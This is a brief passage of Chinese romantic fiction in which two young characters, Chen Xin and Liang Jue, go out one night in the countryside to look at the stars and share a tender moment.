已经躺进被窝的陈心蹑手蹑脚地下床,睡衣外面直接套上羽绒服就去找梁决汇合了。 梁决看着导航,离招待所不到一公里远有个中心花园,决定往那溜达。 “你不累吗?”陈心不理解但尊重。 “累啊,但乡下空气好,晚上的星星格外亮,所以想多看两眼。”梁决抬头找了一颗最亮的指给陈心看。 “哇!还真是,那也有一颗!还有那!”陈心在城市长大,习惯了到点亮起的路灯,习惯了天黑之前回家,还真没像这样观赏天上的星星。 “是不是很好看?”梁决扭过头来问她,眼眸里仿佛也流转着星光。 “嗯!好美呀!” “就像你一样。”梁决小声说。 陈心,我的星星。 梁决内心os:一闪一闪亮晶晶 陈心内心os:和梁决一起看星星,打卡!